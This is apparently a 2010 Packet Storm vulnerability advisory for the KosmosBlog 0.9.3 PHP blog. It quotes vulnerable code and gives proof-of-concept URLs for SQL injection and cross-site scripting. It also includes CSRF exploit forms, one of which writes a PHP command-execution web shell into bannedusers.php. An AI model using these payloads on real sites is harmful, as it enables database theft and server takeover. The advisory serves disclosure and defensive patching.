KosmosBlog 0.9.3 Cross Site Request Forgery / Cross Site Scripting / SQL Injection

2010-01-22T00:00:00
ID PACKETSTORM:85549
Type packetstorm
Reporter Milos Zivanovic
Modified 2010-01-22T00:00:00

Description

                                        
                                            `  
  
[#-----------------------------------------------------------------------------------------------#]  
[#] Title: KosmosBlog 0.9.3 (SQLi/XSS/CSRF) Multiple Vulnerabilities  
[#] Author: Milos Zivanovic  
[#] Email: milosz.security[at]gmail.com<http://gmail.com>  
[#] Date: 22. January 2010.  
[#-----------------------------------------------------------------------------------------------#]  
[#] Application: KosmosBlog  
[#] Version: 0.9.3  
[#] Platform: PHP  
[#] Link: http://www.kosmosblog.com/KosmosBlog%20-%200.9.3.zip  
[#] Vulnerability: SQL Injection, Cross Site Scripting, Cross Site Request Forgery  
[#-----------------------------------------------------------------------------------------------#]  
  
http://www.kosmosblog.com/index.php  
  
[#]Content  
|  
|--Everybody  
| |--SQL Injection  
| | |--index.php (GET kategorija)  
| | |--index.php (GET id)  
| | |--index.php (GET monthID)  
| | |--index.php (GET yearID)  
| | |--register.php (POST username & email)  
| |  
| |--Cross Site Scripting  
| |--addcomment.php (GET id)  
|  
|--Logged in users  
|--Persistent Cross Site Scripting  
| |--addcontentgo.php (POST naslov)  
|  
|--SQL Injection  
| |--deletecontent.php (GET id)  
| |--usermanager.php (GET id)  
|  
|--Cross Site Request Forgery To Remote Code Execution  
| |--bannedusers.php  
|  
|--Cross Site Request Forgery To SQL Injection  
|--commentsaction.php  
  
[~] EVERYBODY  
  
[*] SQL INJECTION  
  
Vulnerable Code:  
  
[VULNERABLE CODE----------------------------------------------------------------------------------]  
// /kosmos/administration/mainincludes/templates/blackkosmos/indextmplt.php  
if (isset($_GET['kategorija'])) {  
generisivesti($_GET['kategorija']);  
} elseif (isset($_GET['id'])) {  
generisivesti(0,$_GET['id'],0);  
// function generisivesti does not sanitize input variable before passing it to mysql query  
[VULNERABLE CODE----------------------------------------------------------------------------------]  
  
[-]index.php (GET kategorija)  
  
[POC----------------------------------------------------------------------------------------------]  
http://kosmos/index.php?kategorija=[SQL_Injection]  
[POC----------------------------------------------------------------------------------------------]  
  
[-]index.php (GET id)  
  
[POC----------------------------------------------------------------------------------------------]  
http://kosmos/index.php?id=1'[SQL_Injection]  
[POC----------------------------------------------------------------------------------------------]  
  
Vulnerable Code:  
  
[VULNERABLE CODE----------------------------------------------------------------------------------]  
// /kosmos/administration/funkcije.php  
if (isset($_GET['yearID']))  
{  
$date_yearID = $_GET['yearID'];  
} else {  
$date_yearID = $date['year'];  
}  
  
if (isset($_GET['monthID']))  
{  
$date_monthID = $_GET['monthID'];  
} else {  
$date_monthID = $date['month'];  
}  
....  
$eventQuery = mysql_query("... LIKE '".$date_yearID."-".$date_monthID...);  
[VULNERABLE CODE----------------------------------------------------------------------------------]  
  
[-]index.php (GET monthID)  
  
[POC----------------------------------------------------------------------------------------------]  
http://kosmos/index.php?yearID=2010&monthID=2'[SQL_Injection]  
[POC----------------------------------------------------------------------------------------------]  
  
[-]index.php (GET yearID)  
  
[POC----------------------------------------------------------------------------------------------]  
http://kosmos/index.php?yearID=2010'[SQL_Injection]&monthID=2  
[POC----------------------------------------------------------------------------------------------]  
  
Vulnerable Code:  
  
[VULNERABLE CODE----------------------------------------------------------------------------------]  
// /kosmos/administration/register.php  
$userN = $_POST['user'];  
...  
$mail = $_POST['mail'];  
...  
mysql_query("... VALUES('$userN', '$loz', '$mail', ...  
[VULNERABLE CODE----------------------------------------------------------------------------------]  
  
[-]register.php (POST username & email)  
  
[POC----------------------------------------------------------------------------------------------]  
http://kosmos/register.php  
[POC----------------------------------------------------------------------------------------------]  
  
In username and email fields we can inject our SQL code.  
  
  
[*] CROSS SITE SCRIPTING  
  
Vulnerable Code:  
  
[VULNERABLE CODE----------------------------------------------------------------------------------]  
// /kosmos/administration/addcomment.php  
if ($_GET['page'] == 'add'){  
$link = "../index.php?id=".$_GET['id'];  
}  
?>  
...  
<META HTTP-EQUIV="refresh" content="3;URL=<?php echo $link; ?>">  
[VULNERABLE CODE----------------------------------------------------------------------------------]  
  
[-]addcomment.php (GET id)  
  
[POC----------------------------------------------------------------------------------------------]  
http://kosmos/administration/addcomment.php?page=add&id="[XSS]  
[POC----------------------------------------------------------------------------------------------]  
  
  
[~] LOGGED IN USERS  
  
[*] PERSISTENT CROSS SITE SCRIPTING  
  
Vulnerable Code:  
  
[VULNERABLE CODE----------------------------------------------------------------------------------]  
// /kosmos/administration/addcontentgo.php  
switch ($_POST['type']) {  
case "blogpost":  
$title = $_POST['title'];  
...  
$sql = "INSERT INTO main_kosmos_blog SET naslov = '$title'...  
[VULNERABLE CODE----------------------------------------------------------------------------------]  
  
[-]addcontentgo.php (POST naslov)  
  
When adding new post to blog, field 'naslov' is not sanitized. Here can also be used SQL Injection but, there are much better positions for SQLi attack, so i've chosen Persistent XSS for this one.  
  
  
[*] SQL INJECTION  
  
Vulnerable Code:  
  
[VULNERABLE CODE----------------------------------------------------------------------------------]  
// /kosmos/administration/deletecontent.php  
$id = $_GET['id'];  
...  
$result = @mysql_query("SELECT * FROM main_kosmos_blog WHERE id = '".$id."' ;");  
[VULNERABLE CODE----------------------------------------------------------------------------------]  
  
[-]deletecontent.php (GET id)  
  
[POC----------------------------------------------------------------------------------------------]  
http://kosmos/administration/deletecontent.php?action=blogpost&id=1'[SQL_Injection]  
[POC----------------------------------------------------------------------------------------------]  
  
Vulnerable Code:  
  
[VULNERABLE CODE----------------------------------------------------------------------------------]  
// /kosmos/administration/usermanager.php  
$result3 = @mysql_query(...`users_kosmos_blog` WHERE id='".$_GET['id']...  
[VULNERABLE CODE----------------------------------------------------------------------------------]  
  
[-]usermanager.php (GET id)  
  
[POC----------------------------------------------------------------------------------------------]  
http://kosmos/administration/usermanager.php?action=obradi&id=1'[SQL_Injection]  
[POC----------------------------------------------------------------------------------------------]  
  
  
[*] CROSS SITE REQUEST FORGERY TO REMOTE CODE EXECUTION  
  
Vulnerable Code:  
  
[VULNERABLE CODE----------------------------------------------------------------------------------]  
// /kosmos/administration/bannedusers.php  
$file=fopen("mainincludes/bannedusers.php","w");  
$banned = $_POST['banned'];  
fwrite ($file,$banned);  
[VULNERABLE CODE----------------------------------------------------------------------------------]  
  
[-]bannedusers.php  
  
[EXPLOIT------------------------------------------------------------------------------------------]  
<form method="post" action="http://kosmos/administration/bannedusers.php?action=process">  
<input type="hidden" name="banned" value="<?php @system($_GET['cmd']); ?>">  
<input type="hidden" name="type" value="link">  
<input type="submit" name="submit" value="Snimi">  
</form>  
[EXPLOIT------------------------------------------------------------------------------------------]  
  
After logged in user run this exploit, php code will be written into .php file and it will be ready to execute. File to run after successful exploitation:  
http://kosmos/administration/mainincludes/bannedusers.php  
  
  
[*] CROSS SITE REQUEST FORGERY TO SQL INJECTION  
  
Vulnerable Code:  
  
[VULNERABLE CODE----------------------------------------------------------------------------------]  
// /kosmos/administration/commentsaction.php  
$id = $_POST['ids'];  
...  
for ($i = 0; $i < count($id); $i++) {  
$idd = $id[$i];  
...  
$sql = "DELETE FROM `comments_kosmos_blog` WHERE id='".$idd."'";  
[VULNERABLE CODE----------------------------------------------------------------------------------]  
  
[-]commentsaction.php  
  
[EXPLOIT------------------------------------------------------------------------------------------]  
<form method="post" action="http://kosmos/administration/commentsaction.php">  
<input type="hidden" name="action" value="Obriši">  
<input type="hidden" name="ids[]" value="1'[SQL_Injection]">  
<input type="submit" name="submit">  
</form>  
[EXPLOIT------------------------------------------------------------------------------------------]  
  
[#]EOF  
  
  
`